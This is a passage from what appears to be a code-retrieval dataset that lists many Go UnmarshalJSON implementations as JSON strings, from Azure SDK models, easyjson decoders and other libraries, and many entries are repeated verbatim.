&rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *Operator) UnmarshalJSON(data []byte) error {\n\tu := jsonpb.Unmarshaler{}\n\tbuf := bytes.NewBuffer(data)\n\n\treturn u.Unmarshal(buf, &*o)\n}", "func (action *Action) UnmarshalJSON(data []byte) error {\n\tvar s string\n\n\tif err := json.Unmarshal(data, &s); err != nil {\n\t\treturn err\n\t}\n\n\ta := Action(s)\n\tif !a.IsValid() {\n\t\treturn fmt.Errorf(\"invalid action '%v'\", s)\n\t}\n\n\t*action = a\n\n\treturn nil\n}", "func (o *OperationResultsDescription) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"StartTime\", &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &o.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (m *EqOp) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\t\tArgs json.RawMessage `json:\"args\"`\n\t}\n\tbuf := bytes.NewBuffer(raw)\n\tdec := json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\tvar base struct {\n\t\t/* Just the base type fields. Used for unmashalling polymorphic types.*/\n\n\t\tType string `json:\"type\"`\n\t}\n\tbuf = bytes.NewBuffer(raw)\n\tdec = json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&base); err != nil {\n\t\treturn err\n\t}\n\n\tallOfArgs, err := UnmarshalQuerySlice(bytes.NewBuffer(data.Args), runtime.JSONConsumer())\n\tif err != nil && err != io.EOF {\n\t\treturn err\n\t}\n\n\tvar result EqOp\n\n\tif base.Type != result.Type() {\n\t\t/* Not the type we're looking for. */\n\t\treturn errors.New(422, \"invalid type value: %q\", base.Type)\n\t}\n\n\tresult.argsField = allOfArgs\n\n\t*m = result\n\n\treturn nil\n}", "func (v *bulkUpdateRequestCommand) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV72(&r, v)\n\treturn r.Error()\n}", "func (a *AsyncOperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &a.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &a.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (a *Action) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"parameters\":\n\t\t\terr = unpopulate(val, \"Parameters\", &a.Parameters)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &a.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationCollection) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (op *OpRetain) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Fields)\n}", "func (j *JSON) Unmarshal(input, target interface{}) error {\n\t// take the input and convert it to target\n\treturn jsonEncoding.Unmarshal(input.([]byte), target)\n}", "func (o *OperationEntityListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func parseOperations(operationsJSON []byte) (operations []*HTTPOperation, batchMode bool, payloadErr error) {\n\t// there are two possible options for receiving information from a post request\n\t// the first is that the user provides an object in the form of { query, variables, operationName }\n\t// the second option is a list of that object\n\n\tsingleQuery := &HTTPOperation{}\n\t// if we were given a single object\n\tif err := json.Unmarshal(operationsJSON, &singleQuery); err == nil {\n\t\t// add it to the list of operations\n\t\toperations = append(operations, singleQuery)\n\t\t// we weren't given an object\n\t} else {\n\t\t// but we could have been given a list\n\t\tbatch := []*HTTPOperation{}\n\n\t\tif err = json.Unmarshal(operationsJSON, &batch); err != nil {\n\t\t\tpayloadErr = fmt.Errorf(\"encountered error parsing operationsJSON: %w\", err)\n\t\t} else {\n\t\t\toperations = batch\n\t\t}\n\n\t\t// we're in batch mode\n\t\tbatchMode = true\n\t}\n\n\treturn operations, batchMode, payloadErr\n}", "func (o *OperationStatusResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"endTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"EndTime\", &o.EndTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &o.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operations\":\n\t\t\terr = unpopulate(val, \"Operations\", &o.Operations)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"percentComplete\":\n\t\t\terr = unpopulate(val, \"PercentComplete\", &o.PercentComplete)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"StartTime\", &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &o.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationStatusResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"endTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"EndTime\", &o.EndTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &o.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &o.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operations\":\n\t\t\terr = unpopulate(val, \"Operations\", &o.Operations)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"percentComplete\":\n\t\t\terr = unpopulate(val, \"PercentComplete\", &o.PercentComplete)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, \"StartTime\", &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &o.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (obj *CartUpdate) UnmarshalJSON(data []byte) error {\n\ttype Alias CartUpdate\n\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\n\t\treturn err\n\t}\n\tfor i := range obj.Actions {\n\t\tvar err error\n\t\tobj.Actions[i], err = mapDiscriminatorCartUpdateAction(obj.Actions[i])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (v *BaseOpSubscription) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi122(&r, v)\n\treturn r.Error()\n}", "func (a *AzureAsyncOperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"error\":\n\t\t\terr = unpopulate(val, \"Error\", &a.Error)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationDisplay) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"description\":\n\t\t\terr = unpopulate(val, \"Description\", &o.Description)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operation\":\n\t\t\terr = unpopulate(val, \"Operation\", &o.Operation)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provider\":\n\t\t\terr = unpopulate(val, \"Provider\", &o.Provider)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"resource\":\n\t\t\terr = unpopulate(val, \"Resource\", &o.Resource)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationsDefinitionArrayResponseWithContinuation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func unmarshalJSON(j extv1.JSON, output *any) error {\n\tif len(j.Raw) == 0 {\n\t\treturn nil\n\t}\n\treturn json.Unmarshal(j.Raw, output)\n}", "func (v *BaseOpSubscriptionArgs) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi121(&r, v)\n\treturn r.Error()\n}", "func (this *DeploymentStrategy) UnmarshalJSON(b []byte) error {\n\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (m *StartsWithCompareOperation) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\n\t\t// The condition is case sensitive (`false`) or case insensitive (`true`).\n\t\t//\n\t\t// If not set, then `false` is used, making the condition case sensitive.\n\t\tIgnoreCase bool `json:\"ignoreCase,omitempty\"`\n\n\t\t// Inverts the operation of the condition. Set to `true` to turn **starts with** into **does not start with**.\n\t\t//\n\t\t// If not set, then `false` is used.\n\t\tNegate bool `json:\"negate,omitempty\"`\n\n\t\t// The value to compare to.\n\t\t//\n\t\t// If several values are specified, the OR logic applies.\n\t\t// Required: true\n\t\t// Max Items: 10\n\t\t// Min Items: 1\n\t\t// Unique: true\n\t\tValues []string `json:\"values\"`\n\t}\n\tbuf := bytes.NewBuffer(raw)\n\tdec := 